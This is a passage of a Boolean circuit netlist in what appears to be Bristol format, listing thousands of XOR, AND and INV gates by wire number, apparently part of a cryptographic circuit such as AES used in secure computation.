16605 16687 XOR +2 1 16704 16694 16693 AND +2 1 16693 16701 16691 XOR +2 1 16693 16711 16664 XOR +2 1 16664 16658 16685 XOR +2 1 33647 16664 16647 XOR +2 1 16647 16610 16692 XOR +2 1 16699 16691 16690 AND +2 1 16690 16660 16650 XOR +2 1 16650 16652 16689 XOR +2 1 16690 16714 16608 XOR +2 1 16647 16608 16600 XOR +2 1 16637 16600 16607 XOR +2 1 16604 16607 16688 XOR +2 1 16650 16603 16686 XOR +2 1 16600 16601 16684 XOR +2 1 16685 16722 16683 AND +2 1 16692 16721 16682 AND +2 1 16695 33646 16681 AND +2 1 16681 16683 16663 XOR +2 1 16686 16716 16680 AND +2 1 16689 16728 16679 AND +2 1 16699 16718 16678 AND +2 1 16678 16679 16617 XOR +2 1 16687 16719 16677 AND +2 1 16684 16717 16676 AND +2 1 16676 16679 16632 XOR +1 1 16632 16629 INV +2 1 16676 16677 16628 XOR +2 1 16688 16720 16675 AND +2 1 16685 16726 16674 AND +2 1 16692 16723 16673 AND +2 1 16695 16727 16672 AND +2 1 16686 16731 16671 AND +2 1 16671 16675 16648 XOR +2 1 16680 16671 16633 XOR +1 1 16648 16626 INV +2 1 16689 16724 16670 AND +2 1 16678 16670 16635 XOR +2 1 16699 16725 16669 AND +2 1 16626 16669 16625 XOR +2 1 16625 16663 16621 XOR +2 1 16687 16730 16668 AND +2 1 16668 16621 16624 XOR +2 1 16684 16732 16667 AND +2 1 16667 16668 16662 XOR +2 1 16673 16662 16644 XOR +2 1 16674 16644 16645 XOR +2 1 16682 16645 16649 XOR +2 1 16683 16649 16654 XOR +2 1 16635 16662 16631 XOR +2 1 16663 16631 16634 XOR +2 1 16633 16634 16736 XOR +2 1 16626 16631 16630 XOR +2 1 16629 16630 16735 XOR +2 1 32882 16735 6912 XOR +2 1 16654 16628 16734 XOR +2 1 16644 16621 16620 XOR +2 1 16681 16649 16618 XOR +2 1 16617 16618 35436 XOR +2 1 16688 16729 16666 AND +2 1 16677 16666 16627 XOR +1 1 16627 16623 INV +2 1 16623 16624 16733 XOR +2 1 32888 16733 6907 XOR +1 1 16735 35434 INV +1 1 16734 35439 INV +1 1 16733 35438 INV +2 1 32881 16734 6905 XOR +1 1 35436 6859 INV +2 1 35442 6859 6869 XOR +2 1 14594 14595 32658 XOR +2 1 32658 14569 35451 XOR +1 1 35451 6883 INV +2 1 14591 32658 14571 XOR +2 1 14587 14571 14537 XOR +1 1 14537 14534 INV +2 1 14592 14571 14531 XOR +2 1 14560 14531 35453 XOR +2 1 14534 14535 35449 XOR +2 1 16679 16680 32673 XOR +2 1 32673 16654 35437 XOR +2 1 35443 35437 6910 XOR +2 1 16676 32673 16656 XOR +2 1 16672 16656 16622 XOR +1 1 16622 16619 INV +2 1 16619 16620 35435 XOR +2 1 16677 16656 16616 XOR +2 1 16645 16616 35440 XOR +2 1 35440 35444 7087 XOR +1 1 35435 6866 INV +1 1 7087 6867 INV +2 1 6867 35447 6868 XOR +2 1 6868 6869 7157 XOR +2 1 6867 35446 6864 XOR +2 1 35441 6866 6865 XOR +2 1 6864 6865 7158 XOR +2 1 7087 32859 6862 XOR +2 1 19737 19738 32695 XOR +2 1 19734 32695 19714 XOR +2 1 19730 19714 19680 XOR +1 1 19680 19677 INV +2 1 19735 19714 19674 XOR +2 1 19703 19674 35425 XOR +2 1 35425 35429 7081 XOR +2 1 7081 35423 6956 XOR +2 1 7100 7081 6990 XOR +2 1 19677 19678 35422 XOR +2 1 35422 35426 7112 XOR +2 1 7112 32787 6995 XOR +2 1 32695 19712 35424 XOR +2 1 35424 35428 7102 XOR +1 1 35424 6950 INV +2 1 7081 6950 6949 XOR +2 1 23212 23213 32720 XOR +2 1 23209 32720 23189 XOR +2 1 23210 23189 23149 XOR +2 1 23205 23189 23155 XOR +1 1 23155 23152 INV +2 1 23152 23153 35408 XOR +2 1 35393 35408 7127 XOR +1 1 7127 6989 INV +2 1 6989 32928 7058 XOR +2 1 23178 23149 35412 XOR +2 1 35396 35412 7092 XOR +1 1 7092 6988 INV +2 1 6988 35398 6987 XOR +2 1 7092 35394 6833 XOR +2 1 6833 6834 7171 XOR +2 1 32720 23187 35410 XOR +2 1 35410 16594 6953 XOR +1 1 14648 32889 INV +2 1 14649 32889 7057 XOR +1 1 14650 32890 INV +1 1 14651 32891 INV +1 1 16736 32927 INV +2 1 32883 32927 6863 XOR +2 1 6862 6863 7159 XOR +1 1 19792 32965 INV +2 1 35425 32965 6945 XOR +1 1 19793 32966 INV +2 1 32966 32787 7115 XOR +2 1 7081 32966 6959 XOR +1 1 19794 32967 INV +2 1 32967 32788 7119 XOR +2 1 7119 7091 6997 XOR +1 1 19791 32972 INV +2 1 32972 32789 7097 XOR +2 1 7097 35428 6993 XOR +2 1 7100 32972 6962 XOR +1 1 20208 32977 INV +2 1 20209 32977 6567 XOR +2 1 32977 6545 35189 XOR +2 1 6566 6567 6565 XOR +2 1 35189 898 33763 XOR +2 1 33763 33765 20668 XOR +2 1 20668 20763 20748 XOR +2 1 20670 20668 20630 XOR +2 1 20670 33763 20629 XOR +2 1 20763 20748 20739 AND +2 1 32977 32783 6623 XOR +2 1 6623 6611 6581 XOR +2 1 6623 35259 6557 XOR +2 1 6557 6558 35181 XOR +2 1 35181 906 33755 XOR +2 1 33755 33757 19417 XOR +2 1 19417 19512 19497 XOR +2 1 19419 19417 19379 XOR +2 1 19419 33755 19378 XOR +2 1 19512 19497 19488 AND +2 1 6654 6623 6570 XOR +2 1 33053 6570 35173 XOR +2 1 35173 914 33747 XOR +2 1 33747 33749 17888 XOR +2 1 32946 6581 35166 XOR +2 1 35166 921 33740 XOR +2 1 33738 33740 21782 XOR +2 1 33734 33740 21786 XOR +2 1 21780 21786 21868 XOR +2 1 33739 21786 21871 XOR +2 1 21782 21780 21742 XOR +2 1 21782 33739 21741 XOR +2 1 33734 21741 21870 XOR +2 1 21870 33734 21856 AND +1 1 6565 35174 INV +2 1 35174 913 33748 XOR +2 1 33746 33748 17890 XOR +2 1 17890 17888 17850 XOR +2 1 17890 33747 17849 XOR +1 1 20210 32978 INV +2 1 32978 32947 6643 XOR +2 1 6643 6606 6574 XOR +2 1 6687 32978 6577 XOR +2 1 35248 6574 35170 XOR +2 1 35170 917 33744 XOR +2 1 6606 32978 6397 XOR +2 1 6397 6398 35162 XOR +2 1 35162 925 33736 XOR +2 1 33744 33746 17983 XOR +2 1 17888 17983 17968 XOR +2 1 33745 33744 17864 XOR +2 1 33749 33744 17980 XOR +2 1 17983 17968 17959 AND +2 1 33736 33738 21875 XOR +2 1 21780 21875 21860 XOR +2 1 33737 33736 21756 XOR +2 1 33741 33736 21872 XOR +2 1 21875 21860 21851 AND +2 1 6683 6643 35177 XOR +2 1 35177 910 33751 XOR +2 1 33751 33753 19416 XOR +2 1 33752 19416 19418 XOR +2 1 33756 19418 19499 XOR +2 1 33755 19418 19496 XOR +2 1 19416 19510 19502 XOR +2 1 33751 33752 19433 XOR +2 1 19510 19433 19506 XOR +2 1 19416 19379 19500 XOR +2 1 33757 33751 19511 XOR +2 1 19502 19506 19495 AND +2 1 19495 19419 19422 XOR +2 1 19511 19496 19492 AND +2 1 19492 19417 19421 XOR +2 1 19510 19499 19489 AND +2 1 19489 19418 19420 XOR +2 1 19422 19420 19426 XOR +2 1 33757 19426 19431 XOR +2 1 19488 19489 19392 XOR +2 1 19392 19393 19439 XOR +2 1 19439 19421 19438 XOR +2 1 19509 19500 19487 AND +1 1 6643 6552 INV +2 1 6552 6638 6550 XOR +2 1 6550 6551 35185 XOR +2 1 35185 902 33759 XOR +2 1 33759 33761 20667 XOR +2 1 33760 20667 20669 XOR +2 1 33764 20669 20750 XOR +2 1 33763 20669 20747 XOR +2 1 20667 20761 20753 XOR +2 1 33759 33760 20684 XOR +2 1 20761 20684 20757 XOR +2 1 20667 20630 20751 XOR +2 1 33765 33759 20762 XOR +2 1 20753 20757 20746 AND +2 1 20746 20670 20673 XOR +2 1 20762 20747 20743 AND +2 1 20743 20668 20672 XOR +2 1 20761 20750 20740 AND +2 1 20740 20669 20671 XOR +2 1 20673 20671 20677 XOR +2 1 33765 20677 20682 XOR +2 1 20739 20740 20643 XOR +2 1 20643 20644 20690 XOR +2 1 20690 20672 20689 XOR +2 1 20760 20751 20738 AND +1 1 20211 32979 INV +2 1 32979 32948 6651 XOR +2 1 32979 6578 35168 XOR +2 1 35168 919 33742 XOR +2 1 6651 6618 6576 XOR +2 1 6576 6577 6575 XOR +1 1 6575 35169 INV +2 1 35169 918 33743 XOR +2 1 33743 33745 17887 XOR +2 1 33744 17887 17889 XOR +2 1 33748 17889 17970 XOR +2 1 33747 17889 17967 XOR +2 1 33742 33748 17894 XOR +2 1 17894 17889 17969 XOR +2 1 17888 17894 17976 XOR +2 1 17887 17981 17973 XOR +2 1 33742 17973 17972 XOR +2 1 33743 33744 17904 XOR +2 1 17904 17976 17974 XOR +2 1 17981 17904 17977 XOR +2 1 33747 17894 17979 XOR +2 1 33743 17979 17975 XOR +2 1 17887 17850 17971 XOR +2 1 33742 17849 17978 XOR +2 1 33749 33743 17982 XOR +2 1 17973 17977 17966 AND +2 1 17966 17890 17893 XOR +2 1 17974 17972 17965 AND +2 1 17959 17965 17911 XOR +2 1 17978 33742 17964 AND +2 1 17982 17967 17963 AND +2 1 17963 17888 17892 XOR +2 1 17979 17975 17962 AND +2 1 17976 17969 17961 AND +2 1 17981 17970 17960 AND +2 1 17960 17889 17891 XOR +2 1 17893 17891 17897 XOR +2 1 33749 17897 17902 XOR +2 1 17911 17902 17957 XOR +2 1 17959 17960 17863 XOR +2 1 17863 17864 17910 XOR +2 1 17910 17892 17909 XOR +2 1 17962 17909 17956 XOR +2 1 17980 17971 17958 AND +2 1 17958 17961 17912 XOR +2 1 17958 17964 17916 XOR +2 1 17916 17888 17903 XOR +2 1 17911 17903 17954 XOR +2 1 17959 17912 17906 XOR +2 1 17892 17912 17866 XOR +2 1 17866 17891 17955 XOR +2 1 17897 17916 17865 XOR +2 1 33747 17865 17908 XOR +2 1 17962 17906 17862 XOR +2 1 33743 17862 17949 XOR +2 1 17957 17956 17953 AND +2 1 17953 17908 17948 XOR +2 1 17953 17955 17952 XOR +2 1 17954 17952 17951 AND +2 1 17951 17908 17950 XOR +2 1 17951 17963 17857 XOR +2 1 17857 17893 17853 XOR +2 1 33749 17853 17856 XOR +2 1 17951 17902 17854 XOR +2 1 33747 17853 17852 XOR +2 1 17948 17949 17947 AND +2 1 17947 17955 17946 XOR +2 1 17953 17947 17945 XOR +2 1 17947 17906 17861 XOR +2 1 17947 17964 17860 XOR +2 1 17860 17961 17855 XOR +2 1 17855 17856 17938 XOR +2 1 17955 17945 17944 AND +2 1 17944 17952 17942 XOR +2 1 17944 17962 17915 XOR +2 1 17915 17909 17936 XOR +2 1 33743 17915 17898 XOR +2 1 17898 17861 17943 XOR +2 1 17950 17942 17941 AND +2 1 17941 17911 17901 XOR +2 1 17901 17903 17940 XOR +2 1 17941 17965 17859 XOR +2 1 17898 17859 17851 XOR +2 1 17888 17851 17858 XOR +2 1 17855 17858 17939 XOR +2 1 17901 17854 17937 XOR +2 1 17851 17852 17935 XOR +2 1 17936 17973 17934 AND +2 1 17943 17972 17933 AND +2 1 17946 33742 17932 AND +2 1 17932 17934 17914 XOR +2 1 17937 17967 17931 AND +2 1 17940 17979 17930 AND +2 1 17950 17969 17929 AND +2 1 17929 17930 17868 XOR +2 1 17938 17970 17928 AND +2 1 17935 17968 17927 AND +2 1 17927 17930 17883 XOR +1 1 17883 17880 INV +2 1 17927 17928 17879 XOR +2 1 17939 17971 17926 AND +2 1 17936 17977 17925 AND +2 1 17943 17974 17924 AND +2 1 17946 17978 17923 AND +2 1 17937 17982 17922 AND +2 1 17922 17926 17899 XOR +2 1 17931 17922 17884 XOR +1 1 17899 17877 INV +2 1 17940 17975 17921 AND +2 1 17929 17921 17886 XOR +2 1 17950 17976 17920 AND +2 1 17877 17920 17876 XOR +2 1 17876 17914 17872 XOR +2 1 17938 17981 17919 AND +2 1 17919 17872 17875 XOR +2 1 17935 17983 17918 AND +2 1 17918 17919 17913 XOR +2 1 17924 17913 17895 XOR +2 1 17925 17895 17896 XOR +2 1 17933 17896 17900 XOR +2 1 17934 17900 17905 XOR +2 1 17886 17913 17882 XOR +2 1 17914 17882 17885 XOR +2 1 17884 17885 17987 XOR +2 1 17877 17882 17881 XOR +2 1 17880 17881 17986 XOR +2 1 32966 17986 6968 XOR +2 1 17905 17879 17985 XOR +2 1 17895 17872 17871 XOR +2 1 17932 17900 17869 XOR +2 1 17868 17869 35419 XOR +2 1 35414 35419 7114 XOR +2 1 7114 7112 6955 XOR +1 1 7114 6978 INV +2 1 17939 17980 17917 AND +2 1 17928 17917 17878 XOR +1 1 17878 17874 INV +2 1 17874 17875 17984 XOR +1 1 17986 35417 INV +2 1 32962 35417 7121 XOR +2 1 6978 7102 6975 XOR +2 1 7121 7119 6958 XOR +2 1 6600 32979 6354 XOR +2 1 6354 6355 6677 XOR +2 1 6955 6956 35324 XOR +2 1 35324 836 33825 XOR +2 1 6651 6588 6553 XOR +2 1 33056 6553 35184 XOR +2 1 35184 903 33758 XOR +2 1 33758 20753 20752 XOR +2 1 33758 33764 20674 XOR +2 1 20674 20669 20749 XOR +2 1 20668 20674 20756 XOR +2 1 20684 20756 20754 XOR +2 1 33763 20674 20759 XOR +2 1 33759 20759 20755 XOR +2 1 33758 20629 20758 XOR +2 1 20754 20752 20745 AND +2 1 20739 20745 20691 XOR +2 1 20691 20682 20737 XOR +2 1 20758 33758 20744 AND +2 1 20738 20744 20696 XOR +2 1 20696 20668 20683 XOR +2 1 20691 20683 20734 XOR +2 1 20677 20696 20645 XOR +2 1 33763 20645 20688 XOR +2 1 20759 20755 20742 AND +2 1 20742 20689 20736 XOR +2 1 20756 20749 20741 AND +2 1 20738 20741 20692 XOR +2 1 20739 20692 20686 XOR +2 1 20672 20692 20646 XOR +2 1 20646 20671 20735 XOR +2 1 20742 20686 20642 XOR +2 1 33759 20642 20729 XOR +2 1 20737 20736 20733 AND +2 1 20733 20688 20728 XOR +2 1 20733 20735 20732 XOR +2 1 20734 20732 20731 AND +2 1 20731 20688 20730 XOR +2 1 20731 20743 20637 XOR +2 1 20637 20673 20633 XOR +2 1 33765 20633 20636 XOR +2 1 20731 20682 20634 XOR +2 1 33763 20633 20632 XOR +2 1 20728 20729 20727 AND +2 1 20727 20735 20726 XOR +2 1 20733 20727 20725 XOR +2 1 20727 20686 20641 XOR +2 1 20727 20744 20640 XOR +2 1 20640 20741 20635 XOR +2 1 20635 20636 20718 XOR +2 1 20735 20725 20724 AND +2 1 20724 20732 20722 XOR +2 1 20724 20742 20695 XOR +2 1 20695 20689 20716 XOR +2 1 33759 20695 20678 XOR +2 1 20678 20641 20723 XOR +2 1 20730 20722 20721 AND +2 1 20721 20691 20681 XOR +2 1 20681 20683 20720 XOR +2 1 20721 20745 20639 XOR +2 1 20678 20639 20631 XOR +2 1 20668 20631 20638 XOR +2 1 20635 20638 20719 XOR +2 1 20681 20634 20717 XOR +2 1 20631 20632 20715 XOR +2 1 20716 20753 20714 AND +2 1 20723 20752 20713 AND +2 1 20726 33758 20712 AND +2 1 20712 20714 20694 XOR +2 1 20717 20747 20711 AND +2 1 20720 20759 20710 AND +2 1 20730 20749 20709 AND +2 1 20709 20710 20648 XOR +2 1 20718 20750 20708 AND +2 1 20715 20748 20707 AND +2 1 20707 20710 20663 XOR +1 1 20663 20660 INV +2 1 20707 20708 20659 XOR +2 1 20719 20751 20706 AND +2 1 20716 20757 20705 AND +2 1 20723 20754 20704 AND +2 1 20726 20758 20703 AND +2 1 20717 20762 20702 AND +2 1 20702 20706 20679 XOR +2 1 20711 20702 20664 XOR +1 1 20679 20657 INV +2 1 20720 20755 20701 AND +2 1 20709 20701 20666 XOR +2 1 20730 20756 20700 AND +2 1 20657 20700 20656 XOR +2 1 20656 20694 20652 XOR +2 1 20718 20761 20699 AND +2 1 20699 20652 20655 XOR +2 1 20715 20763 20698 AND +2 1 20698 20699 20693 XOR +2 1 20704 20693 20675 XOR +2 1 20705 20675 20676 XOR +2 1 20713 20676 20680 XOR +2 1 20714 20680 20685 XOR +2 1 20666 20693 20662 XOR +2 1 20694 20662 20665 XOR +2 1 20664 20665 20767 XOR +2 1 20657 20662 20661 XOR +2 1 20660 20661 20766 XOR +2 1 20685 20659 20765 XOR +2 1 20675 20652 20651 XOR +2 1 20712 20680 20649 XOR +2 1 20648 20649 35463 XOR +2 1 35450 35463 7104 XOR +2 1 20719 20760 20697 AND +2 1 20708 20697 20658 XOR +1 1 20658 20654 INV +2 1 20654 20655 20764 XOR +2 1 7121 7112 6981 XOR +2 1 35413 6981 35307 XOR +2 1 17986 32963 6836 XOR +2 1 6835 6836 7170 XOR +2 1 7170 7115 35298 XOR +2 1 35298 862 33799 XOR +1 1 35419 6840 INV +2 1 35423 6840 6852 XOR +2 1 6840 35413 6839 XOR +2 1 6838 6839 7169 XOR +2 1 7169 7107 35300 XOR +2 1 35307 853 33808 XOR +2 1 6958 6959 35322 XOR +2 1 35322 838 33823 XOR +2 1 33823 33825 17192 XOR +2 1 35300 860 33801 XOR +2 1 33799 33801 19277 XOR +2 1 6651 6603 6563 XOR +2 1 6677 6618 35161 XOR +2 1 35161 926 33735 XOR +2 1 33735 33737 21779 XOR +2 1 33736 21779 21781 XOR +2 1 33740 21781 21862 XOR +2 1 33739 21781 21859 XOR +2 1 21786 21781 21861 XOR +2 1 33735 21871 21867 XOR +2 1 21779 21873 21865 XOR +2 1 33734 21865 21864 XOR +2 1 33735 33736 21796 XOR +2 1 21796 21868 21866 XOR +2 1 21873 21796 21869 XOR +2 1 21779 21742 21863 XOR +2 1 33741 33735 21874 XOR +2 1 21865 21869 21858 AND +2 1 21858 21782 21785 XOR +2 1 21866 21864 21857 AND +2 1 21851 21857 21803 XOR +2 1 21874 21859 21855 AND +2 1 21855 21780 21784 XOR +2 1 21871 21867 21854 AND +2 1 21868 21861 21853 AND +2 1 21873 21862 21852 AND +2 1 21852 21781 21783 XOR +2 1 21785 21783 21789 XOR +2 1 33741 21789 21794 XOR +2 1 21803 21794 21849 XOR +2 1 21851 21852 21755 XOR +2 1 21755 21756 21802 XOR +2 1 21802 21784 21801 XOR +2 1 21854 21801 21848 XOR +2 1 21872 21863 21850 AND +2 1 21850 21853 21804 XOR +2 1 21850 21856 21808 XOR +2 1 21808 21780 21795 XOR +2 1 21803 21795 21846 XOR +2 1 21851 21804 21798 XOR +2 1 21784 21804 21758 XOR +2 1 21758 21783 21847 XOR +2 1 21789 21808 21757 XOR +2 1 33739 21757 21800 XOR +2 1 21854 21798 21754 XOR +2 1 33735 21754 21841 XOR +2 1 21849 21848 21845 AND +2 1 21845 21800 21840 XOR +2 1 21845 21847 21844 XOR +2 1 21846 21844 21843 AND +2 1 21843 21800 21842 XOR +2 1 21843 21855 21749 XOR +2 1 21749 21785 21745 XOR +2 1 33741 21745 21748 XOR +2 1 21843 21794 21746 XOR +2 1 33739 21745 21744 XOR +2 1 21840 21841 21839 AND +2 1 21839 21847 21838 XOR +2 1 21845 21839 21837 XOR +2 1 21839 21798 21753 XOR +2 1 21839 21856 21752 XOR +2 1 21752 21853 21747 XOR +2 1 21747 21748 21830 XOR +2 1 21847 21837 21836 AND +2 1 21836 21844 21834 XOR +2 1 21836 21854 21807 XOR +2 1 21807 21801 21828 XOR +2 1 33735 21807 21790 XOR +2 1 21790 21753 21835 XOR +2 1 21842 21834 21833 AND +2 1 21833 21803 21793 XOR +2 1 21793 21795 21832 XOR +2 1 21833 21857 21751 XOR +2 1 21790 21751 21743 XOR +2 1 21780 21743 21750 XOR +2 1 21747 21750 21831 XOR +2 1 21793 21746 21829 XOR +2 1 21743 21744 21827 XOR +2 1 21828 21865 21826 AND +2 1 21835 21864 21825 AND +2 1 21838 33734 21824 AND +2 1 21824 21826 21806 XOR +2 1 21829 21859 21823 AND +2 1 21832 21871 21822 AND +2 1 21842 21861 21821 AND +2 1 21821 21822 21760 XOR +2 1 21830 21862 21820 AND +2 1 21827 21860 21819 AND +2 1 21819 21822 21775 XOR +1 1 21775 21772 INV +2 1 21819 21820 21771 XOR +2 1 21831 21863 21818 AND +2 1 21828 21869 21817 AND +2 1 21835 21866 21816 AND +2 1 21838 21870 21815 AND +2 1 21829 21874 21814 AND +2 1 21814 21818 21791 XOR +2 1 21823 21814 21776 XOR +1 1 21791 21769 INV +2 1 21832 21867 21813 AND +2 1 21821 21813 21778 XOR +2 1 21842 21868 21812 AND +2 1 21769 21812 21768 XOR +2 1 21768 21806 21764 XOR +2 1 21830 21873 21811 AND +2 1 21811 21764 21767 XOR +2 1 21827 21875 21810 AND +2 1 21810 21811 21805 XOR +2 1 21816 21805 21787 XOR +2 1 21817 21787 21788 XOR +2 1 21825 21788 21792 XOR +2 1 21826 21792 21797 XOR +2 1 21778 21805 21774 XOR +2 1 21806 21774 21777 XOR +2 1 21776 21777 21879 XOR +2 1 21769 21774 21773 XOR +2 1 21772 21773 21878 XOR +2 1 21797 21771 21877 XOR +2 1 21787 21764 21763 XOR +2 1 21824 21792 21761 XOR +2 1 21760 21761 35431 XOR +2 1 35431 35436 7131 XOR +2 1 7158 7131 35348 XOR +2 1 21831 21872 21809 AND +2 1 21820 21809 21770 XOR +1 1 21770 21766 INV +2 1 21766 21767 21876 XOR +2 1 35437 35431 6861 XOR +2 1 32786 6563 35176 XOR +2 1 35176 911 33750 XOR +2 1 33750 19502 19501 XOR +2 1 33750 33756 19423 XOR +2 1 19423 19418 19498 XOR +2 1 19417 19423 19505 XOR +2 1 19433 19505 19503 XOR +2 1 33755 19423 19508 XOR +2 1 33751 19508 19504 XOR +2 1 33750 19378 19507 XOR +2 1 19503 19501 19494 AND +2 1 19488 19494 19440 XOR +2 1 19440 19431 19486 XOR +2 1 19507 33750 19493 AND +2 1 19487 19493 19445 XOR +2 1 19445 19417 19432 XOR +2 1 19440 19432 19483 XOR +2 1 19426 19445 19394 XOR +2 1 33755 19394 19437 XOR +2 1 19508 19504 19491 AND +2 1 19491 19438 19485 XOR +2 1 19505 19498 19490 AND +2 1 19487 19490 19441 XOR +2 1 19488 19441 19435 XOR +2 1 19421 19441 19395 XOR +2 1 19395 19420 19484 XOR +2 1 19491 19435 19391 XOR +2 1 33751 19391 19478 XOR +2 1 19486 19485 19482 AND +2 1 19482 19437 19477 XOR +2 1 19482 19484 19481 XOR +2 1 19483 19481 19480 AND +2 1 19480 19437 19479 XOR +2 1 19480 19492 19386 XOR +2 1 19386 19422 19382 XOR +2 1 33757 19382 19385 XOR +2 1 19480 19431 19383 XOR +2 1 33755 19382 19381 XOR +2 1 19477 19478 19476 AND +2 1 19476 19484 19475 XOR +2 1 19482 19476 19474 XOR +2 1 19476 19435 19390 XOR +2 1 19476 19493 19389 XOR +2 1 19389 19490 19384 XOR +2 1 19384 19385 19467 XOR +2 1 19484 19474 19473 AND +2 1 19473 19481 19471 XOR +2 1 19473 19491 19444 XOR +2 1 19444 19438 19465 XOR +2 1 33751 19444 19427 XOR +2 1 19427 19390 19472 XOR +2 1 19479 19471 19470 AND +2 1 19470 19440 19430 XOR +2 1 19430 19432 19469 XOR +2 1 19470 19494 19388 XOR +2 1 19427 19388 19380 XOR +2 1 19417 19380 19387 XOR +2 1 19384 19387 19468 XOR +2 1 19430 19383 19466 XOR +2 1 19380 19381 19464 XOR +2 1 19465 19502 19463 AND +2 1 19472 19501 19462 AND +2 1 19475 33750 19461 AND +2 1 19461 19463 19443 XOR +2 1 19466 19496 19460 AND +2 1 19469 19508 19459 AND +2 1 19479 19498 19458 AND +2 1 19458 19459 19397 XOR +2 1 19467 19499 19457 AND +2 1 19464 19497 19456 AND +2 1 19456 19459 19412 XOR +1 1 19412 19409 INV +2 1 19456 19457 19408 XOR +2 1 19468 19500 19455 AND +2 1 19465 19506 19454 AND +2 1 19472 19503 19453 AND +2 1 19475 19507 19452 AND +2 1 19466 19511 19451 AND +2 1 19451 19455 19428 XOR +2 1 19460 19451 19413 XOR +1 1 19428 19406 INV +2 1 19469 19504 19450 AND +2 1 19458 19450 19415 XOR +2 1 19479 19505 19449 AND +2 1 19406 19449 19405 XOR +2 1 19405 19443 19401 XOR +2 1 19467 19510 19448 AND +2 1 19448 19401 19404 XOR +2 1 19464 19512 19447 AND +2 1 19447 19448 19442 XOR +2 1 19453 19442 19424 XOR +2 1 19454 19424 19425 XOR +2 1 19462 19425 19429 XOR +2 1 19463 19429 19434 XOR +2 1 19415 19442 19411 XOR +2 1 19443 19411 19414 XOR +2 1 19413 19414 19516 XOR +2 1 19406 19411 19410 XOR +2 1 19409 19410 19515 XOR +2 1 19434 19408 19514 XOR +2 1 19424 19401 19400 XOR +2 1 19461 19429 19398 XOR +2 1 19397 19398 35405 XOR +2 1 35405 35409 7139 XOR +2 1 7139 6989 6986 XOR +2 1 7154 7139 35276 XOR +2 1 6986 6987 35268 XOR +2 1 35268 892 33769 XOR +2 1 19468 19509 19446 AND +2 1 19457 19446 19407 XOR +1 1 19407 19403 INV +2 1 19403 19404 19513 XOR +1 1 19515 35403 INV +2 1 32928 35403 7126 XOR +2 1 7140 7139 7004 XOR +1 1 7004 7002 INV +2 1 35276 884 33777 XOR +2 1 7127 7126 7021 XOR +2 1 35397 7021 35283 XOR +2 1 35283 877 33784 XOR +2 1 19515 32887 6873 XOR +2 1 35405 35398 6871 XOR +2 1 35348 812 33849 XOR +1 1 7131 6897 INV +2 1 6897 7130 6895 XOR +2 1 6897 7111 6920 XOR +2 1 17930 17931 32682 XOR +2 1 32682 17905 35420 XOR +2 1 35420 35414 6842 XOR +2 1 6841 6842 7168 XOR +2 1 7168 7102 35301 XOR +2 1 35301 859 33802 XOR +2 1 35415 35420 7110 XOR +1 1 7110 6951 INV +2 1 6951 7107 6948 XOR +2 1 6948 6949 35325 XOR +2 1 35325 835 33826 XOR +2 1 7110 7097 6974 XOR +2 1 32968 6974 35310 XOR +2 1 35310 850 33811 XOR +2 1 6950 35420 6965 XOR +2 1 17927 32682 17907 XOR +2 1 17923 17907 17873 XOR +1 1 17873 17870 INV +2 1 17870 17871 35418 XOR +2 1 35413 35418 7117 XOR +2 1 7117 7115 6957 XOR +2 1 35418 32962 6996 XOR +2 1 17928 17907 17867 XOR +2 1 17896 17867 35421 XOR +2 1 35421 35425 7089 XOR +2 1 35416 35421 7082 XOR +1 1 7082 6977 INV +2 1 7082 32790 6944 XOR +2 1 6944 6945 35328 XOR +2 1 6977 35414 6980 XOR +2 1 6977 32962 6984 XOR +1 1 7117 6969 INV +2 1 6969 7107 6979 XOR +2 1 6969 35426 6967 XOR +2 1 6967 6968 35315 XOR +2 1 35422 6957 35323 XOR +2 1 35323 837 33824 XOR +2 1 33824 17192 17194 XOR +2 1 33823 33824 17209 XOR +2 1 33824 33826 17288 XOR +2 1 33825 33824 17169 XOR +2 1 6995 6996 35299 XOR +2 1 35299 861 33800 XOR +2 1 33800 19277 19279 XOR +2 1 33799 33800 19294 XOR +2 1 33800 33802 19373 XOR +2 1 33801 33800 19254 XOR +2 1 6979 6980 35308 XOR +2 1 35421 6990 35304 XOR +2 1 35304 856 33805 XOR +2 1 33802 33805 19371 XOR +2 1 19371 19294 19367 XOR +2 1 19277 19371 19363 XOR +2 1 33805 33799 19372 XOR +2 1 33805 33800 19370 XOR +2 1 19363 19367 19356 AND +2 1 35328 832 33829 XOR +2 1 33826 33829 17286 XOR +2 1 17286 17209 17282 XOR +2 1 17192 17286 17278 XOR +2 1 33829 33823 17287 XOR +2 1 33829 33824 17285 XOR +2 1 17278 17282 17271 AND +2 1 6977 35415 6976 XOR +2 1 6975 6976 35309 XOR +2 1 35315 845 33816 XOR +2 1 35309 851 33810 XOR +2 1 33808 33810 16454 XOR +2 1 7119 7082 6985 XOR +2 1 32963 6985 35305 XOR +1 1 7089 6853 INV +2 1 6853 35428 6851 XOR +2 1 6851 6852 7163 XOR +2 1 7163 7110 35317 XOR +2 1 35317 843 33818 XOR +2 1 33816 33818 13811 XOR +2 1 7089 35427 6849 XOR +2 1 35422 35418 6850 XOR +2 1 6849 6850 7164 XOR +2 1 7164 7114 35316 XOR +2 1 35316 844 33817 XOR +2 1 33817 33816 13691 XOR +2 1 7089 32787 6847 XOR +2 1 35305 855 33806 XOR +2 1 19459 19460 32693 XOR +2 1 19456 32693 19436 XOR +2 1 19457 19436 19396 XOR +2 1 19452 19436 19402 XOR +1 1 19402 19399 INV +2 1 19399 19400 35404 XOR +1 1 35404 6880 INV +2 1 35405 6880 6879 XOR +2 1 35397 35404 7124 XOR +2 1 19425 19396 35407 XOR +2 1 35402 35407 7086 XOR +2 1 7086 35410 6870 XOR +2 1 6870 6871 7156 XOR +2 1 7156 7140 35285 XOR +2 1 35285 875 33786 XOR +2 1 33784 33786 13951 XOR +2 1 35407 35412 7084 XOR +2 1 32886 6880 7059 XOR +2 1 7058 7059 35275 XOR +2 1 35275 885 33776 XOR +2 1 33777 33776 22868 XOR +1 1 7086 7020 INV +2 1 7020 35409 7019 XOR +2 1 7020 32928 7024 XOR +2 1 7135 7084 7026 XOR +2 1 35396 7026 35280 XOR +2 1 35280 880 33781 XOR +2 1 33781 33776 22984 XOR +1 1 7124 7007 INV +2 1 7007 35393 7005 XOR +2 1 7149 7007 7018 XOR +2 1 7018 7019 35284 XOR +2 1 35284 876 33785 XOR +2 1 33785 33784 13831 XOR +2 1 32693 19434 35406 XOR +2 1 35406 35410 7136 XOR +2 1 7171 7136 35269 XOR +2 1 35406 35399 7014 XOR +2 1 35269 891 33770 XOR +2 1 7031 7136 7029 XOR +2 1 7137 7136 7001 XOR +2 1 20710 20711 32702 XOR +2 1 32702 20685 